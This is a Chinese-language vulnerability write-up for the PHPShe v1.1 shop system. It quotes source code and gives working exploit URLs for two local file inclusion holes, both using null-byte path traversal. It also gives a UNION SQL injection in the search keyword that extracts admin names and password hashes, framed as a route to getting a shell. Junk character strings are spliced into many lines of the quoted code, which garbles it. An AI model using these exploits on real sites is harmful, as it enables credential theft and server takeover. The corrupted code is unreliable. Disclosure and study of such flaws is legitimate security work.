phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
6 {$ t$ C' [2 p/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
& P5 c8 r/ r+ G  o# M0×00 整体大概参数传输
/ J, v! I/ B/ }# A. z
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, i# h+ ]% @, g% d' n
- w4 L8 u. r: Z3 C* k7 Y" ]' S//common.php
  \5 J7 V! T8 q% G" B* O1 u5 tif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. m! O8 z* w2 w; ~" [- Nelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
" B% j  x  X1 w9 d+ K- T% A!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
$ K8 F9 n+ q3 J!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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  _* l; U3 N! O. {% C- V  S+ ]0 Q- w0×01 包含漏洞


//首页文件
. z$ z5 k$ Y3 [9 C3 h: ]& Y* T0 U<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
" v: S: f( G& q8 i# g?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
) y; h) C0 }; q1 }1 M% b- a$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
/ }0 _; F1 z/ N8 m! Q  T# \9 o//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
/ s9 e; k' K: i  }. K* C& R4 B$sqlwhere = " and `product_state` = 1";
" j# v% o2 i* ppe_lead('hook/category.hook.php');
  x+ \7 f9 j! x( c7 kif ($category_id) {
7 O% |) p4 F( X6 M+ g' bwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ y$ o: c  _) |. K: k+ D* z}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 L3 b% K+ l$ B! C) y. `8 R8 g. uif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
& U0 n! ^. p9 v; l' W4 [else {
1 H* C0 g, I7 R* @/ d; Z' R8 E5 [! f$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
% x* c0 B' k, R' R5 M- V1 j//热卖排行
5 |% _1 P5 A2 X$product_hotlist = product_hotlist();
//当前路径
: q+ Q; M2 T  r3 H% m5 V$nowpath = category_path($category_id);
/ g; N' P! I: [( C$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
* [+ i" Z/ L  l; J6 [  p" Rpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 [+ Z6 H: i' C0 j6 u- L  s. P{
  c! |8 a# q  k% n//处理条件语句
$sqlwhere = $this->_dowhere($where);
' G3 j) X; f' A/ Z, d; ?return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
0 j1 H1 I* d: {/ }+ c) ?//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

5 c! N) Z/ p! Y  Q! |& e( T<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

1 q. ^+ i% S( y' g, `% x$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, M/ M3 {$ P8 Aif ($k == 'bank') {

$ V  [1 `( q+ n% q4 S$ O* U2 m1 {$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

" u; e, K9 ?& D, x2 ]+ `% T3 {}

" D) e6 F/ j2 ?( z$ ?, i- @}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 i" H8 `6 m  A* z0 b3 ^foreach ($info_list as $v) {

# _4 G" ^' o) q1 E( n$order['order_name'] .= "{$v['product_name']};";
) s4 x& T& L4 ~, s( i# `2 Q

}

echo '正在为您连接支付网站，请稍后...';

$ O% _& D0 d* F1 [* S. Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

5 b* q% @' A. O& a* v9 melse {

7 \/ _& V. i: Dpe_error('支付错误...');

}

! [" {2 I  O' }: f0 E- F" F8 u}

$seo = pe_seo('选择支付方式');

. O4 @3 ]1 e* T* n, \. l: X2 Finclude(pe_tpl('order_pay.html'));

8 G3 r% a$ Q' k. Q3 wbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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